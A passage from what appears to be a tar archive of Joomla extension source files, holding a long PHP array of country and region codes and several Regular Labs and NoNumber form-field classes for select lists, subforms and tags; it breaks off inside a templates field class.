'Ukraine: Vinnyts\'ka Oblast\'', 'UA-24' => 'Ukraine: Volyns\'ka Oblast\'', 'UA-25' => 'Ukraine: Zakarpats\'ka Oblast\'', 'UA-26' => 'Ukraine: Zaporiz\'ka Oblast\'', 'UA-27' => 'Ukraine: Zhytomyrs\'ka Oblast\'', '--AE' => '','-AE' => 'United Arab Emirates', 'AE-01' => 'United Arab Emirates: Abu Dhabi', 'AE-02' => 'United Arab Emirates: Ajman', 'AE-03' => 'United Arab Emirates: Dubai', 'AE-04' => 'United Arab Emirates: Fujairah', 'AE-05' => 'United Arab Emirates: Ras Al Khaimah', 'AE-06' => 'United Arab Emirates: Sharjah', 'AE-07' => 'United Arab Emirates: Umm Al Quwain', '--GB' => '','-GB' => 'United Kingdom', 'GB-T5' => 'United Kingdom: Aberdeen City', 'GB-T6' => 'United Kingdom: Aberdeenshire', 'GB-T7' => 'United Kingdom: Angus', 'GB-Q6' => 'United Kingdom: Antrim', 'GB-Q7' => 'United Kingdom: Ards', 'GB-T8' => 'United Kingdom: Argyll and Bute', 'GB-Q8' => 'United Kingdom: Armagh', 'GB-01' => 'United Kingdom: Avon', 'GB-Q9' => 'United Kingdom: Ballymena', 'GB-R1' => 'United Kingdom: Ballymoney', 'GB-R2' => 'United Kingdom: Banbridge', 'GB-A1' => 'United Kingdom: Barking and Dagenham', 'GB-A2' => 'United Kingdom: Barnet', 'GB-A3' => 'United Kingdom: Barnsley', 'GB-A4' => 'United Kingdom: Bath and North East Somerset', 'GB-A5' => 'United Kingdom: Bedfordshire', 'GB-R3' => 'United Kingdom: Belfast', 'GB-03' => 'United Kingdom: Berkshire', 'GB-A6' => 'United Kingdom: Bexley', 'GB-A7' => 'United Kingdom: Birmingham', 'GB-A8' => 'United Kingdom: Blackburn with Darwen', 'GB-A9' => 'United Kingdom: Blackpool', 'GB-X2' => 'United Kingdom: Blaenau Gwent', 'GB-B1' => 'United Kingdom: Bolton', 'GB-B2' => 'United Kingdom: Bournemouth', 'GB-B3' => 'United Kingdom: Bracknell Forest', 'GB-B4' => 'United Kingdom: Bradford', 'GB-B5' => 'United Kingdom: Brent', 'GB-X3' => 'United Kingdom: Bridgend', 'GB-B6' => 'United Kingdom: Brighton and Hove', 'GB-B7' => 'United Kingdom: Bristol', 'GB-B8' => 'United Kingdom: Bromley', 'GB-B9' => 'United Kingdom: Buckinghamshire', 'GB-C1' => 'United Kingdom: Bury', 'GB-X4' => 'United Kingdom: Caerphilly', 'GB-C2' => 'United Kingdom: Calderdale', 'GB-C3' => 'United Kingdom: Cambridgeshire', 'GB-C4' => 'United Kingdom: Camden', 'GB-X5' => 'United Kingdom: Cardiff', 'GB-X7' => 'United Kingdom: Carmarthenshire', 'GB-R4' => 'United Kingdom: Carrickfergus', 'GB-R5' => 'United Kingdom: Castlereagh', 'GB-79' => 'United Kingdom: Central', 'GB-X6' => 'United Kingdom: Ceredigion', 'GB-C5' => 'United Kingdom: Cheshire', 'GB-U1' => 'United Kingdom: Clackmannanshire', 'GB-07' => 'United Kingdom: Cleveland', 'GB-90' => 'United Kingdom: Clwyd', 'GB-R6' => 'United Kingdom: Coleraine', 'GB-X8' => 'United Kingdom: Conwy', 'GB-R7' => 'United Kingdom: Cookstown', 'GB-C6' => 'United Kingdom: Cornwall', 'GB-C7' => 'United Kingdom: Coventry', 'GB-R8' => 'United Kingdom: Craigavon', 'GB-C8' => 'United Kingdom: Croydon', 'GB-C9' => 'United Kingdom: Cumbria', 'GB-D1' => 'United Kingdom: Darlington', 'GB-X9' => 'United Kingdom: Denbighshire', 'GB-D2' => 'United Kingdom: Derby', 'GB-D3' => 'United Kingdom: Derbyshire', 'GB-S6' => 'United Kingdom: Derry', 'GB-D4' => 'United Kingdom: Devon', 'GB-D5' => 'United Kingdom: Doncaster', 'GB-D6' => 'United Kingdom: Dorset', 'GB-R9' => 'United Kingdom: Down', 'GB-D7' => 'United Kingdom: Dudley', 'GB-U2' => 'United Kingdom: Dumfries and Galloway', 'GB-U3' => 'United Kingdom: Dundee City', 'GB-S1' => 'United Kingdom: Dungannon', 'GB-D8' => 'United Kingdom: Durham', 'GB-91' => 'United Kingdom: Dyfed', 'GB-D9' => 'United Kingdom: Ealing', 'GB-U4' => 'United Kingdom: East Ayrshire', 'GB-U5' => 'United Kingdom: East Dunbartonshire', 'GB-U6' => 'United Kingdom: East Lothian', 'GB-U7' => 'United Kingdom: East Renfrewshire', 'GB-E1' => 'United Kingdom: East Riding of Yorkshire', 'GB-E2' => 'United Kingdom: East Sussex', 'GB-U8' => 'United Kingdom: Edinburgh', 'GB-W8' => 'United Kingdom: Eilean Siar', 'GB-E3' => 'United Kingdom: Enfield', 'GB-E4' => 'United Kingdom: Essex', 'GB-U9' => 'United Kingdom: Falkirk', 'GB-S2' => 'United Kingdom: Fermanagh', 'GB-V1' => 'United Kingdom: Fife', 'GB-Y1' => 'United Kingdom: Flintshire', 'GB-E5' => 'United Kingdom: Gateshead', 'GB-V2' => 'United Kingdom: Glasgow City', 'GB-E6' => 'United Kingdom: Gloucestershire', 'GB-82' => 'United Kingdom: Grampian', 'GB-17' => 'United Kingdom: Greater London', 'GB-18' => 'United Kingdom: Greater Manchester', 'GB-E7' => 'United Kingdom: Greenwich', 'GB-92' => 'United Kingdom: Gwent', 'GB-Y2' => 'United Kingdom: Gwynedd', 'GB-E8' => 'United Kingdom: Hackney', 'GB-E9' => 'United Kingdom: Halton', 'GB-F1' => 'United Kingdom: Hammersmith and Fulham', 'GB-F2' => 'United Kingdom: Hampshire', 'GB-F3' => 'United Kingdom: Haringey', 'GB-F4' => 'United Kingdom: Harrow', 'GB-F5' => 'United Kingdom: Hartlepool', 'GB-F6' => 'United Kingdom: Havering', 'GB-20' => 'United Kingdom: Hereford and Worcester', 'GB-F7' => 'United Kingdom: Herefordshire', 'GB-F8' => 'United Kingdom: Hertford', 'GB-V3' => 'United Kingdom: Highland', 'GB-F9' => 'United Kingdom: Hillingdon', 'GB-G1' => 'United Kingdom: Hounslow', 'GB-22' => 'United Kingdom: Humberside', 'GB-V4' => 'United Kingdom: Inverclyde', 'GB-X1' => 'United Kingdom: Isle of Anglesey', 'GB-G2' => 'United Kingdom: Isle of Wight', 'GB-G3' => 'United Kingdom: Islington', 'GB-G4' => 'United Kingdom: Kensington and Chelsea', 'GB-G5' => 'United Kingdom: Kent', 'GB-G6' => 'United Kingdom: Kingston upon Hull', 'GB-G7' => 'United Kingdom: Kingston upon Thames', 'GB-G8' => 'United Kingdom: Kirklees', 'GB-G9' => 'United Kingdom: Knowsley', 'GB-H1' => 'United Kingdom: Lambeth', 'GB-H2' => 'United Kingdom: Lancashire', 'GB-S3' => 'United Kingdom: Larne', 'GB-H3' => 'United Kingdom: Leeds', 'GB-H4' => 'United Kingdom: Leicester', 'GB-H5' => 'United Kingdom: Leicestershire', 'GB-H6' => 'United Kingdom: Lewisham', 'GB-S4' => 'United Kingdom: Limavady', 'GB-H7' => 'United Kingdom: Lincolnshire', 'GB-S5' => 'United Kingdom: Lisburn', 'GB-H8' => 'United Kingdom: Liverpool', 'GB-H9' => 'United Kingdom: London', 'GB-84' => 'United Kingdom: Lothian', 'GB-I1' => 'United Kingdom: Luton', 'GB-S7' => 'United Kingdom: Magherafelt', 'GB-I2' => 'United Kingdom: Manchester', 'GB-I3' => 'United Kingdom: Medway', 'GB-28' => 'United Kingdom: Merseyside', 'GB-Y3' => 'United Kingdom: Merthyr Tydfil', 'GB-I4' => 'United Kingdom: Merton', 'GB-94' => 'United Kingdom: Mid Glamorgan', 'GB-I5' => 'United Kingdom: Middlesbrough', 'GB-V5' => 'United Kingdom: Midlothian', 'GB-I6' => 'United Kingdom: Milton Keynes', 'GB-Y4' => 'United Kingdom: Monmouthshire', 'GB-V6' => 'United Kingdom: Moray', 'GB-S8' => 'United Kingdom: Moyle', 'GB-Y5' => 'United Kingdom: Neath Port Talbot', 'GB-I7' => 'United Kingdom: Newcastle upon Tyne', 'GB-I8' => 'United Kingdom: Newham', 'GB-Y6' => 'United Kingdom: Newport', 'GB-S9' => 'United Kingdom: Newry and Mourne', 'GB-T1' => 'United Kingdom: Newtownabbey', 'GB-I9' => 'United Kingdom: Norfolk', 'GB-V7' => 'United Kingdom: North Ayrshire', 'GB-T2' => 'United Kingdom: North Down', 'GB-J2' => 'United Kingdom: North East Lincolnshire', 'GB-V8' => 'United Kingdom: North Lanarkshire', 'GB-J3' => 'United Kingdom: North Lincolnshire', 'GB-J4' => 'United Kingdom: North Somerset', 'GB-J5' => 'United Kingdom: North Tyneside', 'GB-J7' => 'United Kingdom: North Yorkshire', 'GB-J1' => 'United Kingdom: Northamptonshire', 'GB-J6' => 'United Kingdom: Northumberland', 'GB-J8' => 'United Kingdom: Nottingham', 'GB-J9' => 'United Kingdom: Nottinghamshire', 'GB-K1' => 'United Kingdom: Oldham', 'GB-T3' => 'United Kingdom: Omagh', 'GB-V9' => 'United Kingdom: Orkney', 'GB-K2' => 'United Kingdom: Oxfordshire', 'GB-Y7' => 'United Kingdom: Pembrokeshire', 'GB-W1' => 'United Kingdom: Perth and Kinross', 'GB-K3' => 'United Kingdom: Peterborough', 'GB-K4' => 'United Kingdom: Plymouth', 'GB-K5' => 'United Kingdom: Poole', 'GB-K6' => 'United Kingdom: Portsmouth', 'GB-Y8' => 'United Kingdom: Powys', 'GB-K7' => 'United Kingdom: Reading', 'GB-K8' => 'United Kingdom: Redbridge', 'GB-K9' => 'United Kingdom: Redcar and Cleveland', 'GB-W2' => 'United Kingdom: Renfrewshire', 'GB-Y9' => 'United Kingdom: Rhondda Cynon Taff', 'GB-L1' => 'United Kingdom: Richmond upon Thames', 'GB-L2' => 'United Kingdom: Rochdale', 'GB-L3' => 'United Kingdom: Rotherham', 'GB-L4' => 'United Kingdom: Rutland', 'GB-L5' => 'United Kingdom: Salford', 'GB-L7' => 'United Kingdom: Sandwell', 'GB-T9' => 'United Kingdom: Scottish Borders', 'GB-L8' => 'United Kingdom: Sefton', 'GB-L9' => 'United Kingdom: Sheffield', 'GB-W3' => 'United Kingdom: Shetland Islands', 'GB-L6' => 'United Kingdom: Shropshire', 'GB-M1' => 'United Kingdom: Slough', 'GB-M2' => 'United Kingdom: Solihull', 'GB-M3' => 'United Kingdom: Somerset', 'GB-W4' => 'United Kingdom: South Ayrshire', 'GB-96' => 'United Kingdom: South Glamorgan', 'GB-M6' => 'United Kingdom: South Gloucestershire', 'GB-W5' => 'United Kingdom: South Lanarkshire', 'GB-M7' => 'United Kingdom: South Tyneside', 'GB-37' => 'United Kingdom: South Yorkshire', 'GB-M4' => 'United Kingdom: Southampton', 'GB-M5' => 'United Kingdom: Southend-on-Sea', 'GB-M8' => 'United Kingdom: Southwark', 'GB-N1' => 'United Kingdom: St. Helens', 'GB-M9' => 'United Kingdom: Staffordshire', 'GB-W6' => 'United Kingdom: Stirling', 'GB-N2' => 'United Kingdom: Stockport', 'GB-N3' => 'United Kingdom: Stockton-on-Tees', 'GB-N4' => 'United Kingdom: Stoke-on-Trent', 'GB-T4' => 'United Kingdom: Strabane', 'GB-87' => 'United Kingdom: Strathclyde', 'GB-N5' => 'United Kingdom: Suffolk', 'GB-N6' => 'United Kingdom: Sunderland', 'GB-N7' => 'United Kingdom: Surrey', 'GB-N8' => 'United Kingdom: Sutton', 'GB-Z1' => 'United Kingdom: Swansea', 'GB-N9' => 'United Kingdom: Swindon', 'GB-O1' => 'United Kingdom: Tameside', 'GB-88' => 'United Kingdom: Tayside', 'GB-O2' => 'United Kingdom: Telford and Wrekin', 'GB-O3' => 'United Kingdom: Thurrock', 'GB-O4' => 'United Kingdom: Torbay', 'GB-Z2' => 'United Kingdom: Torfaen', 'GB-O5' => 'United Kingdom: Tower Hamlets', 'GB-O6' => 'United Kingdom: Trafford', 'GB-41' => 'United Kingdom: Tyne and Wear', 'GB-Z3' => 'United Kingdom: Vale of Glamorgan', 'GB-O7' => 'United Kingdom: Wakefield', 'GB-O8' => 'United Kingdom: Walsall', 'GB-O9' => 'United Kingdom: Waltham Forest', 'GB-P1' => 'United Kingdom: Wandsworth', 'GB-P2' => 'United Kingdom: Warrington', 'GB-P3' => 'United Kingdom: Warwickshire', 'GB-P4' => 'United Kingdom: West Berkshire', 'GB-W7' => 'United Kingdom: West Dunbartonshire', 'GB-97' => 'United Kingdom: West Glamorgan', 'GB-W9' => 'United Kingdom: West Lothian', 'GB-43' => 'United Kingdom: West Midlands', 'GB-P6' => 'United Kingdom: West Sussex', 'GB-45' => 'United Kingdom: West Yorkshire', 'GB-P5' => 'United Kingdom: Westminster', 'GB-P7' => 'United Kingdom: Wigan', 'GB-P8' => 'United Kingdom: Wiltshire', 'GB-P9' => 'United Kingdom: Windsor and Maidenhead', 'GB-Q1' => 'United Kingdom: Wirral', 'GB-Q2' => 'United Kingdom: Wokingham', 'GB-Q3' => 'United Kingdom: Wolverhampton', 'GB-Q4' => 'United Kingdom: Worcestershire', 'GB-Z4' => 'United Kingdom: Wrexham', 'GB-Q5' => 'United Kingdom: York', '--US' => '','-US' => 'United States', 'US-AL' => 'United States: Alabama', 'US-AK' => 'United States: Alaska', 'US-AS' => 'United States: American Samoa', 'US-AZ' => 'United States: Arizona', 'US-AR' => 'United States: Arkansas', 'US-AA' => 'United States: Armed Forces Americas', 'US-AE' => 'United States: Armed Forces Europe', 'US-AP' => 'United States: Armed Forces Pacific', 'US-CA' => 'United States: California', 'US-CO' => 'United States: Colorado', 'US-CT' => 'United States: Connecticut', 'US-DE' => 'United States: Delaware', 'US-DC' => 'United States: District of Columbia', 'US-FM' => 'United States: Federated States of Micronesia', 'US-FL' => 'United States: Florida', 'US-GA' => 'United States: Georgia', 'US-GU' => 'United States: Guam', 'US-HI' => 'United States: Hawaii', 'US-ID' => 'United States: Idaho', 'US-IL' => 'United States: Illinois', 'US-IN' => 'United States: Indiana', 'US-IA' => 'United States: Iowa', 'US-KS' => 'United States: Kansas', 'US-KY' => 'United States: Kentucky', 'US-LA' => 'United States: Louisiana', 'US-ME' => 'United States: Maine', 'US-MH' => 'United States: Marshall Islands', 'US-MD' => 'United States: Maryland', 'US-MA' => 'United States: Massachusetts', 'US-MI' => 'United States: Michigan', 'US-MN' => 'United States: Minnesota', 'US-MS' => 'United States: Mississippi', 'US-MO' => 'United States: Missouri', 'US-MT' => 'United States: Montana', 'US-NE' => 'United States: Nebraska', 'US-NV' => 'United States: Nevada', 'US-NH' => 'United States: New Hampshire', 'US-NJ' => 'United States: New Jersey', 'US-NM' => 'United States: New Mexico', 'US-NY' => 'United States: New York', 'US-NC' => 'United States: North Carolina', 'US-ND' => 'United States: North Dakota', 'US-MP' => 'United States: Northern Mariana Islands', 'US-OH' => 'United States: Ohio', 'US-OK' => 'United States: Oklahoma', 'US-OR' => 'United States: Oregon', 'US-PW' => 'United States: Palau', 'US-PA' => 'United States: Pennsylvania', 'US-PR' => 'United States: Puerto Rico', 'US-RI' => 'United States: Rhode Island', 'US-SC' => 'United States: South Carolina', 'US-SD' => 'United States: South Dakota', 'US-TN' => 'United States: Tennessee', 'US-TX' => 'United States: Texas', 'US-UT' => 'United States: Utah', 'US-VT' => 'United States: Vermont', 'US-VI' => 'United States: Virgin Islands', 'US-VA' => 'United States: Virginia', 'US-WA' => 'United States: Washington', 'US-WV' => 'United States: West Virginia', 'US-WI' => 'United States: Wisconsin', 'US-WY' => 'United States: Wyoming', '--UY' => '','-UY' => 'Uruguay', 'UY-01' => 'Uruguay: Artigas', 'UY-02' => 'Uruguay: Canelones', 'UY-03' => 'Uruguay: Cerro Largo', 'UY-04' => 'Uruguay: Colonia', 'UY-05' => 'Uruguay: Durazno', 'UY-06' => 'Uruguay: Flores', 'UY-07' => 'Uruguay: Florida', 'UY-08' => 'Uruguay: Lavalleja', 'UY-09' => 'Uruguay: Maldonado', 'UY-10' => 'Uruguay: Montevideo', 'UY-11' => 'Uruguay: Paysandu', 'UY-12' => 'Uruguay: Rio Negro', 'UY-13' => 'Uruguay: Rivera', 'UY-14' => 'Uruguay: Rocha', 'UY-15' => 'Uruguay: Salto', 'UY-16' => 'Uruguay: San Jose', 'UY-17' => 'Uruguay: Soriano', 'UY-18' => 'Uruguay: Tacuarembo', 'UY-19' => 'Uruguay: Treinta y Tres', '--UZ' => '','-UZ' => 'Uzbekistan', 'UZ-01' => 'Uzbekistan: Andijon', 'UZ-02' => 'Uzbekistan: Bukhoro', 'UZ-03' => 'Uzbekistan: Farghona', 'UZ-04' => 'Uzbekistan: Jizzakh', 'UZ-05' => 'Uzbekistan: Khorazm', 'UZ-06' => 'Uzbekistan: Namangan', 'UZ-07' => 'Uzbekistan: Nawoiy', 'UZ-08' => 'Uzbekistan: Qashqadaryo', 'UZ-09' => 'Uzbekistan: Qoraqalpoghiston', 'UZ-10' => 'Uzbekistan: Samarqand', 'UZ-11' => 'Uzbekistan: Sirdaryo', 'UZ-12' => 'Uzbekistan: Surkhondaryo', 'UZ-13' => 'Uzbekistan: Toshkent', 'UZ-14' => 'Uzbekistan: Toshkent', '--VU' => '','-VU' => 'Vanuatu', 'VU-05' => 'Vanuatu: Ambrym', 'VU-06' => 'Vanuatu: Aoba', 'VU-08' => 'Vanuatu: Efate', 'VU-09' => 'Vanuatu: Epi', 'VU-10' => 'Vanuatu: Malakula', 'VU-16' => 'Vanuatu: Malampa', 'VU-11' => 'Vanuatu: Paama', 'VU-17' => 'Vanuatu: Penama', 'VU-12' => 'Vanuatu: Pentecote', 'VU-13' => 'Vanuatu: Sanma', 'VU-18' => 'Vanuatu: Shefa', 'VU-14' => 'Vanuatu: Shepherd', 'VU-15' => 'Vanuatu: Tafea', 'VU-07' => 'Vanuatu: Torba', '--VE' => '','-VE' => 'Venezuela', 'VE-01' => 'Venezuela: Amazonas', 'VE-02' => 'Venezuela: Anzoategui', 'VE-03' => 'Venezuela: Apure', 'VE-04' => 'Venezuela: Aragua', 'VE-05' => 'Venezuela: Barinas', 'VE-06' => 'Venezuela: Bolivar', 'VE-07' => 'Venezuela: Carabobo', 'VE-08' => 'Venezuela: Cojedes', 'VE-09' => 'Venezuela: Delta Amacuro', 'VE-24' => 'Venezuela: Dependencias Federales', 'VE-25' => 'Venezuela: Distrito Federal', 'VE-11' => 'Venezuela: Falcon', 'VE-12' => 'Venezuela: Guarico', 'VE-13' => 'Venezuela: Lara', 'VE-14' => 'Venezuela: Merida', 'VE-15' => 'Venezuela: Miranda', 'VE-16' => 'Venezuela: Monagas', 'VE-17' => 'Venezuela: Nueva Esparta', 'VE-18' => 'Venezuela: Portuguesa', 'VE-19' => 'Venezuela: Sucre', 'VE-20' => 'Venezuela: Tachira', 'VE-21' => 'Venezuela: Trujillo', 'VE-26' => 'Venezuela: Vargas', 'VE-22' => 'Venezuela: Yaracuy', 'VE-23' => 'Venezuela: Zulia', '--VN' => '','-VN' => 'Vietnam', 'VN-43' => 'Vietnam: An Giang', 'VN-53' => 'Vietnam: Ba Ria-Vung Tau', 'VN-02' => 'Vietnam: Bac Thai', 'VN-03' => 'Vietnam: Ben Tre', 'VN-54' => 'Vietnam: Binh Dinh', 'VN-55' => 'Vietnam: Binh Thuan', 'VN-56' => 'Vietnam: Can Tho', 'VN-05' => 'Vietnam: Cao Bang', 'VN-44' => 'Vietnam: Dac Lac', 'VN-45' => 'Vietnam: Dong Nai', 'VN-20' => 'Vietnam: Dong Nam Bo', 'VN-46' => 'Vietnam: Dong Thap', 'VN-57' => 'Vietnam: Gia Lai', 'VN-11' => 'Vietnam: Ha Bac', 'VN-58' => 'Vietnam: Ha Giang', 'VN-51' => 'Vietnam: Ha Noi', 'VN-59' => 'Vietnam: Ha Tay', 'VN-60' => 'Vietnam: Ha Tinh', 'VN-12' => 'Vietnam: Hai Hung', 'VN-13' => 'Vietnam: Hai Phong', 'VN-52' => 'Vietnam: Ho Chi Minh', 'VN-61' => 'Vietnam: Hoa Binh', 'VN-62' => 'Vietnam: Khanh Hoa', 'VN-47' => 'Vietnam: Kien Giang', 'VN-63' => 'Vietnam: Kon Tum', 'VN-22' => 'Vietnam: Lai Chau', 'VN-23' => 'Vietnam: Lam Dong', 'VN-39' => 'Vietnam: Lang Son', 'VN-64' => 'Vietnam: Lao Cai', 'VN-24' => 'Vietnam: Long An', 'VN-48' => 'Vietnam: Minh Hai', 'VN-65' => 'Vietnam: Nam Ha', 'VN-66' => 'Vietnam: Nghe An', 'VN-67' => 'Vietnam: Ninh Binh', 'VN-68' => 'Vietnam: Ninh Thuan', 'VN-69' => 'Vietnam: Phu Yen', 'VN-70' => 'Vietnam: Quang Binh', 'VN-29' => 'Vietnam: Quang Nam-Da Nang', 'VN-71' => 'Vietnam: Quang Ngai', 'VN-30' => 'Vietnam: Quang Ninh', 'VN-72' => 'Vietnam: Quang Tri', 'VN-73' => 'Vietnam: Soc Trang', 'VN-32' => 'Vietnam: Son La', 'VN-49' => 'Vietnam: Song Be', 'VN-33' => 'Vietnam: Tay Ninh', 'VN-35' => 'Vietnam: Thai Binh', 'VN-34' => 'Vietnam: Thanh Hoa', 'VN-74' => 'Vietnam: Thua Thien', 'VN-37' => 'Vietnam: Tien Giang', 'VN-75' => 'Vietnam: Tra Vinh', 'VN-76' => 'Vietnam: Tuyen Quang', 'VN-77' => 'Vietnam: Vinh Long', 'VN-50' => 'Vietnam: Vinh Phu', 'VN-78' => 'Vietnam: Yen Bai', '--YE' => '','-YE' => 'Yemen', 'YE-01' => 'Yemen: Abyan', 'YE-20' => 'Yemen: Al Bayda\'', 'YE-08' => 'Yemen: Al Hudaydah', 'YE-21' => 'Yemen: Al Jawf', 'YE-03' => 'Yemen: Al Mahrah', 'YE-10' => 'Yemen: Al Mahwit', 'YE-11' => 'Yemen: Dhamar', 'YE-04' => 'Yemen: Hadramawt', 'YE-22' => 'Yemen: Hajjah', 'YE-23' => 'Yemen: Ibb', 'YE-24' => 'Yemen: Lahij', 'YE-14' => 'Yemen: Ma\'rib', 'YE-15' => 'Yemen: Sa', 'YE-16' => 'Yemen: San', 'YE-05' => 'Yemen: Shabwah', 'YE-25' => 'Yemen: Ta', '--ZM' => '','-ZM' => 'Zambia', 'ZM-02' => 'Zambia: Central', 'ZM-08' => 'Zambia: Copperbelt', 'ZM-03' => 'Zambia: Eastern', 'ZM-04' => 'Zambia: Luapula', 'ZM-09' => 'Zambia: Lusaka', 'ZM-05' => 'Zambia: Northern', 'ZM-06' => 'Zambia: North-Western', 'ZM-07' => 'Zambia: Southern', 'ZM-01' => 'Zambia: Western', '--ZW' => '','-ZW' => 'Zimbabwe', 'ZW-09' => 'Zimbabwe: Bulawayo', 'ZW-10' => 'Zimbabwe: Harare', 'ZW-01' => 'Zimbabwe: Manicaland', 'ZW-03' => 'Zimbabwe: Mashonaland Central', 'ZW-04' => 'Zimbabwe: Mashonaland East', 'ZW-05' => 'Zimbabwe: Mashonaland West', 'ZW-08' => 'Zimbabwe: Masvingo', 'ZW-06' => 'Zimbabwe: Matabeleland North', 'ZW-07' => 'Zimbabwe: Matabeleland South', 'ZW-02' => 'Zimbabwe: Midlands\' showon.php 0000644 00000002272 15232574455 0006611 0 ustar 00 <?php /** * @package Regular Labs Library * @version 23.7.24631 * * @author Peter van Westen <info@regularlabs.com> * @link https://regularlabs.com * @copyright Copyright © 2023 Regular Labs All Rights Reserved * @license GNU General Public License version 2 or later */ defined('_JEXEC') or die; use RegularLabs\Library\Field; use RegularLabs\Library\ShowOn as RL_ShowOn; if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php')) { return; } require_once JPATH_LIBRARIES . '/regularlabs/autoload.php'; class JFormFieldRL_ShowOn extends Field { public $type = 'ShowOn'; protected function getInput() { $value = (string) $this->get('value'); $class = $this->get('class', ''); $formControl = $this->get('form', $this->formControl); $formControl = $formControl == 'root' ? '' : $formControl; if ( ! $value) { return RL_ShowOn::close(); } return '</div></div>' . RL_ShowOn::open($value, $formControl, $this->group, $class) . '<div><div>'; } protected function getLabel() { return ''; } } simplecategories.php 0000644 00000006753 15232574455 0010643 0 ustar 00 <?php /** * @package Regular Labs Library * @version 23.7.24631 * * @author Peter van Westen <info@regularlabs.com> * @link https://regularlabs.com * @copyright Copyright © 2023 Regular Labs All Rights Reserved * @license GNU General Public License version 2 or later */ defined('_JEXEC') or die; use Joomla\CMS\HTML\HTMLHelper as JHtml; use Joomla\CMS\Language\Text as JText; use RegularLabs\Library\Document as RL_Document; use RegularLabs\Library\Field; use RegularLabs\Library\ShowOn as RL_ShowOn; if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php')) { return; } require_once JPATH_LIBRARIES . '/regularlabs/autoload.php'; class JFormFieldRL_SimpleCategories extends Field { public $type = 'SimpleCategories'; protected function getInput() { $size = (int) $this->get('size'); $attr = $this->get('onchange') ? ' onchange="' . $this->get('onchange') . '"' : ''; $categories = $this->getOptions(); $options = parent::getOptions(); if ($this->get('show_none', 1)) { $options[] = JHtml::_('select.option', '', '- ' . JText::_('JNONE') . ' -'); } if ($this->get('show_new', 1)) { $options[] = JHtml::_('select.option', '-1', '- ' . JText::_('RL_NEW_CATEGORY') . ' -'); } $options = array_merge($options, $categories); if ( ! $this->get('show_new', 1)) { return JHtml::_('select.genericlist', $options, $this->name, trim($attr), 'value', 'text', $this->value, $this->id ); } JHtml::_('jquery.framework'); RL_Document::script('regularlabs/simplecategories.min.js'); $selectlist = $this->selectListSimple( $options, $this->getName($this->fieldname . '_select'), $this->value, $this->getId('', $this->fieldname . '_select'), $size, false ); $html = []; $html[] = '<div class="rl_simplecategory">'; $html[] = '<div class="rl_simplecategory_select">' . $selectlist . '</div>'; $html[] = RL_ShowOn::show( '<div class="rl_simplecategory_new">' . '<input type="text" id="' . $this->id . '_new" value="" placeholder="' . JText::_('RL_NEW_CATEGORY_ENTER') . '">' . '</div>', $this->fieldname . '_select:-1', $this->formControl ); $html[] = '<input type="hidden" class="rl_simplecategory_value" id="' . $this->id . '" name="' . $this->name . '" value="' . $this->value . '" />'; $html[] = '</div>'; return implode('', $html); } protected function getOptions() { $table = $this->get('table'); if ( ! $table) { return []; } // Get the user groups from the database. $query = $this->db->getQuery(true) ->select([ $this->db->quoteName('category', 'value'), $this->db->quoteName('category', 'text'), ]) ->from($this->db->quoteName('#__' . $table)) ->where($this->db->quoteName('category') . ' != ' . $this->db->quote('')) ->group($this->db->quoteName('category')) ->order($this->db->quoteName('category') . ' ASC'); $this->db->setQuery($query); return $this->db->loadObjectList(); } } subform.php 0000644 00000001555 15232574455 0006754 0 ustar 00 <?php /** * @package Regular Labs Library * @version 23.7.24631 * * @author Peter van Westen <info@regularlabs.com> * @link https://regularlabs.com * @copyright Copyright © 2023 Regular Labs All Rights Reserved * @license GNU General Public License version 2 or later */ defined('_JEXEC') or die; if ( ! is_file(JPATH_LIBRARIES . '/regularlabs/autoload.php')) { return; } require_once JPATH_LIBRARIES . '/regularlabs/autoload.php'; JFormHelper::loadFieldClass('subform'); class JFormFieldRL_Subform extends JFormFieldSubform { public function __construct($form = null) { parent::__construct($form); } protected function getLayoutPaths() { $paths = parent::getLayoutPaths(); $paths[] = JPATH_LIBRARIES . '/regularlabs/layouts'; return $paths; } } tags.php 0000644 00000003227 15232574455 0006233 0 ustar 00 <?php /** * Element: Tags * Displays a select box of backend group levels * * @package NoNumber Framework * @version 14.11.6 * * @author Peter van Westen <peter@nonumber.nl> * @link http://www.nonumber.nl * @copyright Copyright © 2014 NoNumber All Rights Reserved * @license http://www.gnu.org/licenses/gpl-2.0.html GNU/GPL */ defined('_JEXEC') or die; require_once JPATH_PLUGINS . '/system/nnframework/helpers/text.php'; class JFormFieldNN_Tags extends JFormField { public $type = 'Tags'; private $params = null; private $db = null; protected function getInput() { $this->params = $this->element->attributes(); $this->db = JFactory::getDBO(); $size = (int) $this->get('size'); $attribs = 'class="inputbox"'; $options = $this->getTags(); require_once JPATH_PLUGINS . '/system/nnframework/helpers/html.php'; return nnHtml::selectlist($options, $this->name, $this->value, $this->id, $size, 1, $attribs); } protected function getTags() { // Get the user groups from the database. $query = $this->db->getQuery(true) ->select('a.id as value, a.title as text, a.parent_id AS parent') ->from('#__tags AS a') ->select('COUNT(DISTINCT b.id) - 1 AS level') ->join('LEFT', '#__tags AS b ON a.lft > b.lft AND a.rgt < b.rgt') ->where('a.alias <> ' . $this->db->quote('root')) ->group('a.id') ->order('a.lft ASC'); $this->db->setQuery($query); $options = $this->db->loadObjectList(); return $options; } private function get($val, $default = '') { return (isset($this->params[$val]) && (string) $this->params[$val] != '') ? (string) $this->params[$val] : $default; } } templates.php 0000644 00000010431 15232574455 0007266 0 ustar 00 <?php defined('JPATH_PLATFORM') or die; JFormHelper::loadFieldClass('list'); class JFormFieldTemplates extends JFormField { /** * The form field type. * * @var string * * @since 2.8 */ protected $type = 'Templates'; /** * Method to attach a JForm object to the field. * * @param SimpleXMLElement $element The SimpleXMLElement object representing the <field /> tag for the form field object. * @param mixed $value The form field value to validate. * @param string $group The field name group control value. This acts as as an array container for the field. * For example if the field has name="foo" and the group value is set to "bar" then the * full field name would end up being "bar[foo]". * * @return boolean True on success. * * @since 2.8 */ public function setup(SimpleXMLElement $element, $value, $group = null) { $return = parent::setup($element, $value, $group); return $return; } /** * Method to get the field input markup. * * @return string The field input markup. * * @since 11.1 */ protected function getInput() { $values = $this->value; if (is_string($values)) { $values = json_decode(htmlspecialchars_decode($this->value), true); } // cast to array $values = (array) $values; // default if (empty($values)) { $values = array( array( 'name' => '', 'url' => '', 'html' => '', ), ); } $subForm = new JForm($this->name, array('control' => $this->formControl)); $children = $this->element->children(); $subForm->load($children); $subForm->setFields($children); // And finaly build a main container $str = array(); $n = 0; foreach ($values as $value) { $fields = $subForm->getFieldset(); $str[] = '<div class="form-field-repeatable-item 